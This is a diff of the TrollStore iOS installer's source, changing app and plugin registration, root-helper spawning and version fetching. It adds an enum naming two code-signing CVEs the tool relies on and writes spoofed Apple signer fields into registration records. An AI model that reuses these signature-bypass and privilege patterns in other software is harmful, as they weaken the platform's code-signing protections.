||||
NSDictionary* systemGroupContainers = constructGroupsContainersForEntitlements(entitlements, NO);
|
||||
NSMutableDictionary* groupContainers = [NSMutableDictionary new];
|
||||
NSDictionary *appGroupContainers = constructGroupsContainersForEntitlements(entitlements, NO);
|
||||
NSDictionary *systemGroupContainers = constructGroupsContainersForEntitlements(entitlements, YES);
|
||||
NSMutableDictionary *groupContainers = [NSMutableDictionary new];
|
||||
[groupContainers addEntriesFromDictionary:appGroupContainers];
|
||||
[groupContainers addEntriesFromDictionary:systemGroupContainers];
|
||||
if(groupContainers.count)
|
||||
{
|
||||
if(appGroupContainers.count)
|
||||
{
|
||||
if (groupContainers.count) {
|
||||
if (appGroupContainers.count) {
|
||||
dictToRegister[@"HasAppGroupContainers"] = @YES;
|
||||
}
|
||||
if(systemGroupContainers.count)
|
||||
{
|
||||
if (systemGroupContainers.count) {
|
||||
dictToRegister[@"HasSystemGroupContainers"] = @YES;
|
||||
}
|
||||
dictToRegister[@"GroupContainers"] = groupContainers.copy;
|
||||
@ -178,29 +166,29 @@ void registerPath(char* cPath, int unregister, BOOL system)
|
||||
|
||||
// Add plugins
|
||||
|
||||
NSString* pluginsPath = [path stringByAppendingPathComponent:@"PlugIns"];
|
||||
NSArray* plugins = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:pluginsPath error:nil];
|
||||
NSString *pluginsPath = [path stringByAppendingPathComponent:@"PlugIns"];
|
||||
NSArray *plugins = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:pluginsPath error:nil];
|
||||
|
||||
NSMutableDictionary* bundlePlugins = [NSMutableDictionary dictionary];
|
||||
for (NSString* pluginName in plugins)
|
||||
{
|
||||
NSString* pluginPath = [pluginsPath stringByAppendingPathComponent:pluginName];
|
||||
NSMutableDictionary *bundlePlugins = [NSMutableDictionary dictionary];
|
||||
for (NSString *pluginName in plugins) {
|
||||
NSString *pluginPath = [pluginsPath stringByAppendingPathComponent:pluginName];
|
||||
|
||||
NSDictionary* pluginInfoPlist = [NSDictionary dictionaryWithContentsOfFile:[pluginPath stringByAppendingPathComponent:@"Info.plist"]];
|
||||
NSString* pluginBundleID = [pluginInfoPlist objectForKey:@"CFBundleIdentifier"];
|
||||
NSDictionary *pluginInfoPlist = [NSDictionary dictionaryWithContentsOfFile:[pluginPath stringByAppendingPathComponent:@"Info.plist"]];
|
||||
NSString *pluginBundleID = [pluginInfoPlist objectForKey:@"CFBundleIdentifier"];
|
||||
|
||||
if(!pluginBundleID) continue;
|
||||
MCMContainer* pluginContainer = [NSClassFromString(@"MCMPluginKitPluginDataContainer") containerWithIdentifier:pluginBundleID createIfNecessary:YES existed:nil error:nil];
|
||||
NSString* pluginContainerPath = [pluginContainer url].path;
|
||||
if (!pluginBundleID) continue;
|
||||
NSString *pluginExecutablePath = [pluginPath stringByAppendingPathComponent:pluginInfoPlist[@"CFBundleExecutable"]];
|
||||
NSDictionary *pluginEntitlements = dumpEntitlementsFromBinaryAtPath(pluginExecutablePath);
|
||||
NSString *pluginDataContainerID = pluginBundleID;
|
||||
BOOL pluginContainerized = constructContainerizationForEntitlements(pluginEntitlements, &pluginDataContainerID);
|
||||
|
||||
NSMutableDictionary* pluginDict = [NSMutableDictionary dictionary];
|
||||
MCMContainer *pluginContainer = [NSClassFromString(@"MCMPluginKitPluginDataContainer") containerWithIdentifier:pluginDataContainerID createIfNecessary:YES existed:nil error:nil];
|
||||
NSString *pluginContainerPath = [pluginContainer url].path;
|
||||
|
||||
NSMutableDictionary *pluginDict = [NSMutableDictionary dictionary];
|
||||
|
||||
// Add entitlements
|
||||
|
||||
NSString* pluginExecutablePath = [pluginPath stringByAppendingPathComponent:pluginInfoPlist[@"CFBundleExecutable"]];
|
||||
NSDictionary* pluginEntitlements = dumpEntitlementsFromBinaryAtPath(pluginExecutablePath);
|
||||
if(pluginEntitlements)
|
||||
{
|
||||
if (pluginEntitlements) {
|
||||
pluginDict[@"Entitlements"] = pluginEntitlements;
|
||||
}
|
||||
|
||||
@ -210,36 +198,33 @@ void registerPath(char* cPath, int unregister, BOOL system)
|
||||
pluginDict[@"CFBundleIdentifier"] = pluginBundleID;
|
||||
pluginDict[@"CodeInfoIdentifier"] = pluginBundleID;
|
||||
pluginDict[@"CompatibilityState"] = @0;
|
||||
if(pluginContainerPath)
|
||||
{
|
||||
|
||||
pluginDict[@"IsContainerized"] = @(pluginContainerized);
|
||||
if (pluginContainerPath) {
|
||||
pluginDict[@"Container"] = pluginContainerPath;
|
||||
pluginDict[@"EnvironmentVariables"] = constructEnvironmentVariablesForContainerPath(pluginContainerPath);
|
||||
pluginDict[@"EnvironmentVariables"] = constructEnvironmentVariablesForContainerPath(pluginContainerPath, pluginContainerized);
|
||||
}
|
||||
pluginDict[@"Path"] = pluginPath;
|
||||
pluginDict[@"PluginOwnerBundleID"] = appBundleID;
|
||||
pluginDict[@"IsContainerized"] = @(constructContainerizationForEntitlements(pluginEntitlements));
|
||||
pluginDict[@"SignerOrganization"] = @"Apple Inc.";
|
||||
pluginDict[@"SignatureVersion"] = @132352;
|
||||
pluginDict[@"SignerIdentity"] = @"Apple iPhone OS Application Signing";
|
||||
|
||||
NSString* pluginTeamIdentifier = constructTeamIdentifierForEntitlements(pluginEntitlements);
|
||||
if(pluginTeamIdentifier) pluginDict[@"TeamIdentifier"] = pluginTeamIdentifier;
|
||||
NSString *pluginTeamIdentifier = constructTeamIdentifierForEntitlements(pluginEntitlements);
|
||||
if (pluginTeamIdentifier) pluginDict[@"TeamIdentifier"] = pluginTeamIdentifier;
|
||||
|
||||
// Add plugin group containers
|
||||
|
||||
NSDictionary* pluginAppGroupContainers = constructGroupsContainersForEntitlements(pluginEntitlements, NO);
|
||||
NSDictionary* pluginSystemGroupContainers = constructGroupsContainersForEntitlements(pluginEntitlements, NO);
|
||||
NSMutableDictionary* pluginGroupContainers = [NSMutableDictionary new];
|
||||
NSDictionary *pluginAppGroupContainers = constructGroupsContainersForEntitlements(pluginEntitlements, NO);
|
||||
NSDictionary *pluginSystemGroupContainers = constructGroupsContainersForEntitlements(pluginEntitlements, YES);
|
||||
NSMutableDictionary *pluginGroupContainers = [NSMutableDictionary new];
|
||||
[pluginGroupContainers addEntriesFromDictionary:pluginAppGroupContainers];
|
||||
[pluginGroupContainers addEntriesFromDictionary:pluginSystemGroupContainers];
|
||||
if(pluginGroupContainers.count)
|
||||
{
|
||||
if(pluginAppGroupContainers.count)
|
||||
{
|
||||
if (pluginGroupContainers.count) {
|
||||
if (pluginAppGroupContainers.count) {
|
||||
pluginDict[@"HasAppGroupContainers"] = @YES;
|
||||
}
|
||||
if(pluginSystemGroupContainers.count)
|
||||
{
|
||||
if (pluginSystemGroupContainers.count) {
|
||||
pluginDict[@"HasSystemGroupContainers"] = @YES;
|
||||
}
|
||||
pluginDict[@"GroupContainers"] = pluginGroupContainers.copy;
|
||||
@ -249,17 +234,21 @@ void registerPath(char* cPath, int unregister, BOOL system)
|
||||
}
|
||||
[dictToRegister setObject:bundlePlugins forKey:@"_LSBundlePlugins"];
|
||||
|
||||
if(![workspace registerApplicationDictionary:dictToRegister])
|
||||
{
|
||||
if (![workspace registerApplicationDictionary:dictToRegister]) {
|
||||
NSLog(@"Error: Unable to register %@", path);
|
||||
NSLog(@"Used dictionary: {");
|
||||
[dictToRegister enumerateKeysAndObjectsUsingBlock:^(NSString *key, NSObject *obj, BOOL *stop) {
|
||||
NSLog(@"%@ = %@", key, obj);
|
||||
}];
|
||||
NSLog(@"}");
|
||||
return false;
|
||||
}
|
||||
} else {
|
||||
NSURL *url = [NSURL fileURLWithPath:path];
|
||||
if (![workspace unregisterApplication:url]) {
|
||||
NSLog(@"Error: Unable to register %@", path);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NSURL* url = [NSURL fileURLWithPath:path];
|
||||
if(![workspace unregisterApplication:url])
|
||||
{
|
||||
NSLog(@"Error: Unable to unregister %@", path);
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
@ -1,7 +1,7 @@
|
||||
#import "unarchive.h"
|
||||
|
||||
#include <libarchive/archive.h>
|
||||
#include <libarchive/archive_entry.h>
|
||||
#include <archive.h>
|
||||
#include <archive_entry.h>
|
||||
|
||||
static int
|
||||
copy_data(struct archive *ar, struct archive *aw)
|
||||
|
@ -31,6 +31,14 @@ extern NSString *LSInstallTypeKey;
|
||||
- (void)enumerateApplicationsOfType:(NSUInteger)type block:(void (^)(LSApplicationProxy*))block;
|
||||
- (BOOL)installApplication:(NSURL*)appPackageURL withOptions:(NSDictionary*)options error:(NSError**)error;
|
||||
- (BOOL)uninstallApplication:(NSString*)appId withOptions:(NSDictionary*)options;
|
||||
- (void)addObserver:(id)arg1;
|
||||
- (void)removeObserver:(id)arg1;
|
||||
@end
|
||||
|
||||
@protocol LSApplicationWorkspaceObserverProtocol <NSObject>
|
||||
@optional
|
||||
- (void)applicationsDidInstall:(NSArray <LSApplicationProxy *>*)apps;
|
||||
- (void)applicationsDidUninstall:(NSArray <LSApplicationProxy *>*)apps;
|
||||
@end
|
||||
|
||||
@interface LSEnumerator : NSEnumerator
|
||||
@ -50,15 +58,19 @@ extern NSString *LSInstallTypeKey;
|
||||
@end
|
||||
|
||||
@interface MCMDataContainer : MCMContainer
|
||||
|
||||
@end
|
||||
|
||||
@interface MCMAppDataContainer : MCMDataContainer
|
||||
|
||||
@end
|
||||
|
||||
@interface MCMAppContainer : MCMContainer
|
||||
@end
|
||||
|
||||
@interface MCMPluginKitPluginDataContainer : MCMDataContainer
|
||||
@end
|
||||
|
||||
@interface MCMSystemDataContainer : MCMContainer
|
||||
@end
|
||||
|
||||
@interface MCMSharedDataContainer : MCMContainer
|
||||
@end
|
@ -5,12 +5,13 @@
|
||||
@interface TSListControllerShared : PSListController
|
||||
- (BOOL)isTrollStore;
|
||||
- (NSString*)getTrollStoreVersion;
|
||||
- (void)downloadTrollStoreAndDo:(void (^)(NSString* localTrollStoreTarPath))doHandler;
|
||||
- (void)downloadTrollStoreAndRun:(void (^)(NSString* localTrollStoreTarPath))doHandler;
|
||||
- (void)installTrollStorePressed;
|
||||
- (void)updateTrollStorePressed;
|
||||
- (void)rebuildIconCachePressed;
|
||||
- (void)refreshAppRegistrationsPressed;
|
||||
- (void)uninstallPersistenceHelperPressed;
|
||||
- (void)handleUninstallation;
|
||||
- (NSMutableArray*)argsForUninstallingTrollStore;
|
||||
- (void)uninstallTrollStorePressed;
|
||||
@end
|
@ -25,7 +25,7 @@
|
||||
}
|
||||
}
|
||||
|
||||
- (void)downloadTrollStoreAndDo:(void (^)(NSString* localTrollStoreTarPath))doHandler
|
||||
- (void)downloadTrollStoreAndRun:(void (^)(NSString* localTrollStoreTarPath))doHandler
|
||||
{
|
||||
NSURL* trollStoreURL = [NSURL URLWithString:@"https://github.com/opa334/TrollStore/releases/latest/download/TrollStore.tar"];
|
||||
NSURLRequest* trollStoreRequest = [NSURLRequest requestWithURL:trollStoreURL];
|
||||
@ -59,7 +59,7 @@
|
||||
[downloadTask resume];
|
||||
}
|
||||
|
||||
- (void)_updateOrInstallTrollStore:(BOOL)update
|
||||
- (void)_installTrollStoreComingFromUpdateFlow:(BOOL)update
|
||||
{
|
||||
if(update)
|
||||
{
|
||||
@ -70,7 +70,7 @@
|
||||
[TSPresentationDelegate startActivity:@"Installing TrollStore"];
|
||||
}
|
||||
|
||||
[self downloadTrollStoreAndDo:^(NSString* tmpTarPath)
|
||||
[self downloadTrollStoreAndRun:^(NSString* tmpTarPath)
|
||||
{
|
||||
int ret = spawnRoot(rootHelperPath(), @[@"install-trollstore", tmpTarPath], nil, nil);
|
||||
[[NSFileManager defaultManager] removeItemAtPath:tmpTarPath error:nil];
|
||||
@ -112,12 +112,12 @@
|
||||
|
||||
- (void)installTrollStorePressed
|
||||
{
|
||||
[self _updateOrInstallTrollStore:NO];
|
||||
[self _installTrollStoreComingFromUpdateFlow:NO];
|
||||
}
|
||||
|
||||
- (void)updateTrollStorePressed
|
||||
{
|
||||
[self _updateOrInstallTrollStore:YES];
|
||||
[self _installTrollStoreComingFromUpdateFlow:YES];
|
||||
}
|
||||
|
||||
- (void)rebuildIconCachePressed
|
||||
@ -188,20 +188,28 @@
|
||||
}
|
||||
}
|
||||
|
||||
- (NSMutableArray*)argsForUninstallingTrollStore
|
||||
{
|
||||
return @[@"uninstall-trollstore"].mutableCopy;
|
||||
}
|
||||
|
||||
- (void)uninstallTrollStorePressed
|
||||
{
|
||||
UIAlertController* uninstallAlert = [UIAlertController alertControllerWithTitle:@"Uninstall" message:@"You are about to uninstall TrollStore, do you want to preserve the apps installed by it?" preferredStyle:UIAlertControllerStyleAlert];
|
||||
|
||||
UIAlertAction* uninstallAllAction = [UIAlertAction actionWithTitle:@"Uninstall TrollStore, Uninstall Apps" style:UIAlertActionStyleDestructive handler:^(UIAlertAction* action)
|
||||
{
|
||||
spawnRoot(rootHelperPath(), @[@"uninstall-trollstore"], nil, nil);
|
||||
NSMutableArray* args = [self argsForUninstallingTrollStore];
|
||||
spawnRoot(rootHelperPath(), args, nil, nil);
|
||||
[self handleUninstallation];
|
||||
}];
|
||||
[uninstallAlert addAction:uninstallAllAction];
|
||||
|
||||
UIAlertAction* preserveAppsAction = [UIAlertAction actionWithTitle:@"Uninstall TrollStore, Preserve Apps" style:UIAlertActionStyleDestructive handler:^(UIAlertAction* action)
|
||||
{
|
||||
spawnRoot(rootHelperPath(), @[@"uninstall-trollstore-preserve-apps"], nil, nil);
|
||||
NSMutableArray* args = [self argsForUninstallingTrollStore];
|
||||
[args addObject:@"preserve-apps"];
|
||||
spawnRoot(rootHelperPath(), args, nil, nil);
|
||||
[self handleUninstallation];
|
||||
}];
|
||||
[uninstallAlert addAction:preserveAppsAction];
|
||||
|
@ -3,9 +3,28 @@
|
||||
|
||||
#define TrollStoreErrorDomain @"TrollStoreErrorDomain"
|
||||
|
||||
#define TS_MARKER @"_TrollStore"
|
||||
#define TS_LITE_MARKER @"_TrollStoreLite"
|
||||
#define TS_NAME @"TrollStore"
|
||||
#define TS_LITE_NAME @"Trollstore Lite"
|
||||
|
||||
#ifdef TROLLSTORE_LITE
|
||||
#define TS_ACTIVE_MARKER TS_LITE_MARKER
|
||||
#define TS_INACTIVE_MARKER TS_MARKER
|
||||
#define APP_ID @"com.opa334.TrollStoreLite"
|
||||
#define APP_NAME TS_LITE_NAME
|
||||
#define OTHER_APP_NAME TS_NAME
|
||||
#else
|
||||
#define TS_ACTIVE_MARKER TS_MARKER
|
||||
#define TS_INACTIVE_MARKER TS_LITE_MARKER
|
||||
#define APP_ID @"com.opa334.TrollStore"
|
||||
#define APP_NAME TS_NAME
|
||||
#define OTHER_APP_NAME TS_LITE_NAME
|
||||
#endif
|
||||
|
||||
extern void chineseWifiFixup(void);
|
||||
extern void loadMCMFramework(void);
|
||||
extern NSString* safe_getExecutablePath();
|
||||
extern NSString *getExecutablePath(void);
|
||||
extern BOOL shouldRegisterAsUserByDefault(void);
|
||||
extern NSString* rootHelperPath(void);
|
||||
extern NSString* getNSStringFromFile(int fd);
|
||||
extern void printMultilineNSString(NSString* stringToPrint);
|
||||
@ -13,11 +32,15 @@ extern int spawnRoot(NSString* path, NSArray* args, NSString** stdOut, NSString*
|
||||
extern void killall(NSString* processName, BOOL softly);
|
||||
extern void respring(void);
|
||||
extern void fetchLatestTrollStoreVersion(void (^completionHandler)(NSString* latestVersion));
|
||||
extern void fetchLatestLdidVersion(void (^completionHandler)(NSString* latestVersion));
|
||||
|
||||
extern NSArray* trollStoreInstalledAppBundlePaths();
|
||||
extern NSArray* trollStoreInstalledAppContainerPaths();
|
||||
extern NSString* trollStorePath();
|
||||
extern NSString* trollStoreAppPath();
|
||||
extern NSArray* trollStoreInstalledAppBundlePaths(void);
|
||||
extern NSArray* trollStoreInactiveInstalledAppBundlePaths(void);
|
||||
extern NSArray* trollStoreInstalledAppContainerPaths(void);
|
||||
extern NSString* trollStorePath(void);
|
||||
extern NSString* trollStoreAppPath(void);
|
||||
|
||||
extern BOOL isRemovableSystemApp(NSString* appId);
|
||||
|
||||
#import <UIKit/UIAlertController.h>
|
||||
|
||||
@ -34,6 +57,22 @@ typedef enum
|
||||
PERSISTENCE_HELPER_TYPE_ALL = PERSISTENCE_HELPER_TYPE_USER | PERSISTENCE_HELPER_TYPE_SYSTEM
|
||||
} PERSISTENCE_HELPER_TYPE;
|
||||
|
||||
// EXPLOIT_TYPE is defined as a bitmask as some devices are vulnerable to multiple exploits
|
||||
//
|
||||
// An app that has had one of these exploits applied ahead of time can declare which exploit
|
||||
// was used via the TSPreAppliedExploitType Info.plist key. The corresponding value should be
|
||||
// (number of bits to left-shift + 1).
|
||||
typedef enum
|
||||
{
|
||||
// CVE-2022-26766
|
||||
// TSPreAppliedExploitType = 1
|
||||
EXPLOIT_TYPE_CUSTOM_ROOT_CERTIFICATE_V1 = 1 << 0,
|
||||
|
||||
// CVE-2023-41991
|
||||
// TSPreAppliedExploitType = 2
|
||||
EXPLOIT_TYPE_CMS_SIGNERINFO_V1 = 1 << 1
|
||||
} EXPLOIT_TYPE;
|
||||
|
||||
extern LSApplicationProxy* findPersistenceHelperApp(PERSISTENCE_HELPER_TYPE allowedTypes);
|
||||
|
||||
typedef struct __SecCode const *SecStaticCodeRef;
|
||||
@ -58,4 +97,7 @@ extern CFStringRef kSecPolicyLeafMarkerOid;
|
||||
extern SecStaticCodeRef getStaticCodeRef(NSString *binaryPath);
|
||||
extern NSDictionary* dumpEntitlements(SecStaticCodeRef codeRef);
|
||||
extern NSDictionary* dumpEntitlementsFromBinaryAtPath(NSString *binaryPath);
|
||||
extern NSDictionary* dumpEntitlementsFromBinaryData(NSData* binaryData);
|
||||
extern NSDictionary* dumpEntitlementsFromBinaryData(NSData* binaryData);
|
||||
|
||||
extern EXPLOIT_TYPE getDeclaredExploitTypeFromInfoDictionary(NSDictionary *infoDict);
|
||||
extern bool isPlatformVulnerableToExploitType(EXPLOIT_TYPE exploitType);
|
||||
|
285
Shared/TSUtil.m
@ -3,11 +3,13 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <spawn.h>
|
||||
#import <sys/sysctl.h>
|
||||
#import <mach-o/dyld.h>
|
||||
#import <libroot.h>
|
||||
|
||||
@interface PSAppDataUsagePolicyCache : NSObject
|
||||
+ (instancetype)sharedInstance;
|
||||
- (void)setUsagePoliciesForBundle:(NSString*)bundleId cellular:(BOOL)cellular wifi:(BOOL)wifi;
|
||||
@end
|
||||
static EXPLOIT_TYPE gPlatformVulnerabilities;
|
||||
|
||||
void* _CTServerConnectionCreate(CFAllocatorRef, void *, void *);
|
||||
int64_t _CTServerConnectionSetCellularUsagePolicy(CFTypeRef* ct, NSString* identifier, NSDictionary* policies);
|
||||
|
||||
#define POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE 1
|
||||
extern int posix_spawnattr_set_persona_np(const posix_spawnattr_t* __restrict, uid_t, uint32_t);
|
||||
@ -16,31 +18,47 @@ extern int posix_spawnattr_set_persona_gid_np(const posix_spawnattr_t* __restric
|
||||
|
||||
void chineseWifiFixup(void)
|
||||
{
|
||||
NSBundle *bundle = [NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/SettingsCellular.framework"];
|
||||
[bundle load];
|
||||
[[NSClassFromString(@"PSAppDataUsagePolicyCache") sharedInstance] setUsagePoliciesForBundle:NSBundle.mainBundle.bundleIdentifier cellular:true wifi:true];
|
||||
_CTServerConnectionSetCellularUsagePolicy(
|
||||
_CTServerConnectionCreate(kCFAllocatorDefault, NULL, NULL),
|
||||
NSBundle.mainBundle.bundleIdentifier,
|
||||
@{
|
||||
@"kCTCellularDataUsagePolicy" : @"kCTCellularDataUsagePolicyAlwaysAllow",
|
||||
@"kCTWiFiDataUsagePolicy" : @"kCTCellularDataUsagePolicyAlwaysAllow"
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
void loadMCMFramework(void)
|
||||
NSString *getExecutablePath(void)
|
||||
{
|
||||
static dispatch_once_t onceToken;
|
||||
dispatch_once (&onceToken, ^{
|
||||
NSBundle* mcmBundle = [NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/MobileContainerManager.framework"];
|
||||
[mcmBundle load];
|
||||
});
|
||||
uint32_t len = PATH_MAX;
|
||||
char selfPath[len];
|
||||
_NSGetExecutablePath(selfPath, &len);
|
||||
return [NSString stringWithUTF8String:selfPath];
|
||||
}
|
||||
|
||||
extern char*** _NSGetArgv();
|
||||
NSString* safe_getExecutablePath()
|
||||
#ifdef TROLLSTORE_LITE
|
||||
|
||||
BOOL shouldRegisterAsUserByDefault(void)
|
||||
{
|
||||
char* executablePathC = **_NSGetArgv();
|
||||
return [NSString stringWithUTF8String:executablePathC];
|
||||
if ([[NSFileManager defaultManager] fileExistsAtPath:JBROOT_PATH(@"/Library/MobileSubstrate/DynamicLibraries/AppSyncUnified-FrontBoard.dylib")]) {
|
||||
return YES;
|
||||
}
|
||||
return NO;
|
||||
}
|
||||
|
||||
#else
|
||||
|
||||
BOOL shouldRegisterAsUserByDefault(void)
|
||||
{
|
||||
return NO;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
#ifdef EMBEDDED_ROOT_HELPER
|
||||
NSString* rootHelperPath(void)
|
||||
{
|
||||
return safe_getExecutablePath();
|
||||
return getExecutablePath();
|
||||
}
|
||||
#else
|
||||
NSString* rootHelperPath(void)
|
||||
@ -49,14 +67,21 @@ NSString* rootHelperPath(void)
|
||||
}
|
||||
#endif
|
||||
|
||||
int fd_is_valid(int fd)
|
||||
{
|
||||
return fcntl(fd, F_GETFD) != -1 || errno != EBADF;
|
||||
}
|
||||
|
||||
NSString* getNSStringFromFile(int fd)
|
||||
{
|
||||
NSMutableString* ms = [NSMutableString new];
|
||||
ssize_t num_read;
|
||||
char c;
|
||||
if(!fd_is_valid(fd)) return @"";
|
||||
while((num_read = read(fd, &c, sizeof(c))))
|
||||
{
|
||||
[ms appendString:[NSString stringWithFormat:@"%c", c]];
|
||||
if(c == '\n') break;
|
||||
}
|
||||
return ms.copy;
|
||||
}
|
||||
@ -74,7 +99,7 @@ void printMultilineNSString(NSString* stringToPrint)
|
||||
int spawnRoot(NSString* path, NSArray* args, NSString** stdOut, NSString** stdErr)
|
||||
{
|
||||
NSMutableArray* argsM = args.mutableCopy ?: [NSMutableArray new];
|
||||
[argsM insertObject:path.lastPathComponent atIndex:0];
|
||||
[argsM insertObject:path atIndex:0];
|
||||
|
||||
NSUInteger argCount = [argsM count];
|
||||
char **argsC = (char **)malloc((argCount + 1) * sizeof(char*));
|
||||
@ -127,6 +152,41 @@ int spawnRoot(NSString* path, NSArray* args, NSString** stdOut, NSString** stdEr
|
||||
return spawnError;
|
||||
}
|
||||
|
||||
__block volatile BOOL _isRunning = YES;
|
||||
NSMutableString* outString = [NSMutableString new];
|
||||
NSMutableString* errString = [NSMutableString new];
|
||||
dispatch_semaphore_t sema = 0;
|
||||
dispatch_queue_t logQueue;
|
||||
if(stdOut || stdErr)
|
||||
{
|
||||
logQueue = dispatch_queue_create("com.opa334.TrollStore.LogCollector", NULL);
|
||||
sema = dispatch_semaphore_create(0);
|
||||
|
||||
int outPipe = out[0];
|
||||
int outErrPipe = outErr[0];
|
||||
|
||||
__block BOOL outEnabled = (BOOL)stdOut;
|
||||
__block BOOL errEnabled = (BOOL)stdErr;
|
||||
dispatch_async(logQueue, ^
|
||||
{
|
||||
while(_isRunning)
|
||||
{
|
||||
@autoreleasepool
|
||||
{
|
||||
if(outEnabled)
|
||||
{
|
||||
[outString appendString:getNSStringFromFile(outPipe)];
|
||||
}
|
||||
if(errEnabled)
|
||||
{
|
||||
[errString appendString:getNSStringFromFile(outErrPipe)];
|
||||
}
|
||||
}
|
||||
}
|
||||
dispatch_semaphore_signal(sema);
|
||||
});
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
if (waitpid(task_pid, &status, 0) != -1) {
|
||||
@ -134,24 +194,36 @@ int spawnRoot(NSString* path, NSArray* args, NSString** stdOut, NSString** stdEr
|
||||
} else
|
||||
{
|
||||
perror("waitpid");
|
||||
_isRunning = NO;
|
||||
return -222;
|
||||
}
|
||||
} while (!WIFEXITED(status) && !WIFSIGNALED(status));
|
||||
|
||||
if(stdOut)
|
||||
_isRunning = NO;
|
||||
if(stdOut || stdErr)
|
||||
{
|
||||
close(out[1]);
|
||||
NSString* output = getNSStringFromFile(out[0]);
|
||||
*stdOut = output;
|
||||
if(stdOut)
|
||||
{
|
||||
close(out[1]);
|
||||
}
|
||||
if(stdErr)
|
||||
{
|
||||
close(outErr[1]);
|
||||
}
|
||||
|
||||
// wait for logging queue to finish
|
||||
dispatch_semaphore_wait(sema, DISPATCH_TIME_FOREVER);
|
||||
|
||||
if(stdOut)
|
||||
{
|
||||
*stdOut = outString.copy;
|
||||
}
|
||||
if(stdErr)
|
||||
{
|
||||
*stdErr = errString.copy;
|
||||
}
|
||||
}
|
||||
|
||||
if(stdErr)
|
||||
{
|
||||
close(outErr[1]);
|
||||
NSString* errorOutput = getNSStringFromFile(outErr[0]);
|
||||
*stdErr = errorOutput;
|
||||
}
|
||||
|
||||
return WEXITSTATUS(status);
|
||||
}
|
||||
|
||||
@ -228,9 +300,10 @@ void respring(void)
|
||||
exit(0);
|
||||
}
|
||||
|
||||
void fetchLatestTrollStoreVersion(void (^completionHandler)(NSString* latestVersion))
|
||||
void github_fetchLatestVersion(NSString* repo, void (^completionHandler)(NSString* latestVersion))
|
||||
{
|
||||
NSURL* githubLatestAPIURL = [NSURL URLWithString:@"https://api.github.com/repos/opa334/TrollStore/releases/latest"];
|
||||
NSString* urlString = [NSString stringWithFormat:@"https://api.github.com/repos/%@/releases/latest", repo];
|
||||
NSURL* githubLatestAPIURL = [NSURL URLWithString:urlString];
|
||||
|
||||
NSURLSessionDataTask* task = [NSURLSession.sharedSession dataTaskWithURL:githubLatestAPIURL completionHandler:^(NSData *data, NSURLResponse *response, NSError *error)
|
||||
{
|
||||
@ -252,7 +325,17 @@ void fetchLatestTrollStoreVersion(void (^completionHandler)(NSString* latestVers
|
||||
[task resume];
|
||||
}
|
||||
|
||||
NSArray* trollStoreInstalledAppContainerPaths()
|
||||
void fetchLatestTrollStoreVersion(void (^completionHandler)(NSString* latestVersion))
|
||||
{
|
||||
github_fetchLatestVersion(@"opa334/TrollStore", completionHandler);
|
||||
}
|
||||
|
||||
void fetchLatestLdidVersion(void (^completionHandler)(NSString* latestVersion))
|
||||
{
|
||||
github_fetchLatestVersion(@"opa334/ldid", completionHandler);
|
||||
}
|
||||
|
||||
NSArray* trollStoreInstalledAppContainerPathsInternal(NSString *marker)
|
||||
{
|
||||
NSMutableArray* appContainerPaths = [NSMutableArray new];
|
||||
|
||||
@ -273,11 +356,12 @@ NSArray* trollStoreInstalledAppContainerPaths()
|
||||
BOOL exists = [[NSFileManager defaultManager] fileExistsAtPath:containerPath isDirectory:&isDirectory];
|
||||
if(exists && isDirectory)
|
||||
{
|
||||
NSString* trollStoreMark = [containerPath stringByAppendingPathComponent:@"_TrollStore"];
|
||||
NSString* trollStoreMark = [containerPath stringByAppendingPathComponent:marker];
|
||||
if([[NSFileManager defaultManager] fileExistsAtPath:trollStoreMark])
|
||||
{
|
||||
NSString* trollStoreApp = [containerPath stringByAppendingPathComponent:@"TrollStore.app"];
|
||||
if(![[NSFileManager defaultManager] fileExistsAtPath:trollStoreApp])
|
||||
NSString* trollStoreLiteApp = [containerPath stringByAppendingPathComponent:@"TrollStoreLite.app"];
|
||||
if(![[NSFileManager defaultManager] fileExistsAtPath:trollStoreApp] && ![[NSFileManager defaultManager] fileExistsAtPath:trollStoreLiteApp])
|
||||
{
|
||||
[appContainerPaths addObject:containerPath];
|
||||
}
|
||||
@ -288,10 +372,15 @@ NSArray* trollStoreInstalledAppContainerPaths()
|
||||
return appContainerPaths.copy;
|
||||
}
|
||||
|
||||
NSArray* trollStoreInstalledAppBundlePaths()
|
||||
NSArray *trollStoreInstalledAppContainerPaths(void)
|
||||
{
|
||||
return trollStoreInstalledAppContainerPathsInternal(TS_ACTIVE_MARKER);
|
||||
}
|
||||
|
||||
NSArray* trollStoreInstalledAppBundlePathsInternal(NSString *marker)
|
||||
{
|
||||
NSMutableArray* appPaths = [NSMutableArray new];
|
||||
for(NSString* containerPath in trollStoreInstalledAppContainerPaths())
|
||||
for(NSString* containerPath in trollStoreInstalledAppContainerPathsInternal(marker))
|
||||
{
|
||||
NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:containerPath error:nil];
|
||||
if(!items) return nil;
|
||||
@ -307,11 +396,20 @@ NSArray* trollStoreInstalledAppBundlePaths()
|
||||
return appPaths.copy;
|
||||
}
|
||||
|
||||
NSArray *trollStoreInstalledAppBundlePaths(void)
|
||||
{
|
||||
return trollStoreInstalledAppBundlePathsInternal(TS_ACTIVE_MARKER);
|
||||
}
|
||||
|
||||
NSArray *trollStoreInactiveInstalledAppBundlePaths(void)
|
||||
{
|
||||
return trollStoreInstalledAppBundlePathsInternal(TS_INACTIVE_MARKER);
|
||||
}
|
||||
|
||||
NSString* trollStorePath()
|
||||
{
|
||||
loadMCMFramework();
|
||||
NSError* mcmError;
|
||||
MCMAppContainer* appContainer = [NSClassFromString(@"MCMAppContainer") containerWithIdentifier:@"com.opa334.TrollStore" createIfNecessary:NO existed:NULL error:&mcmError];
|
||||
MCMAppContainer* appContainer = [MCMAppContainer containerWithIdentifier:APP_ID createIfNecessary:NO existed:NULL error:&mcmError];
|
||||
if(!appContainer) return nil;
|
||||
return appContainer.url.path;
|
||||
}
|
||||
@ -321,6 +419,11 @@ NSString* trollStoreAppPath()
|
||||
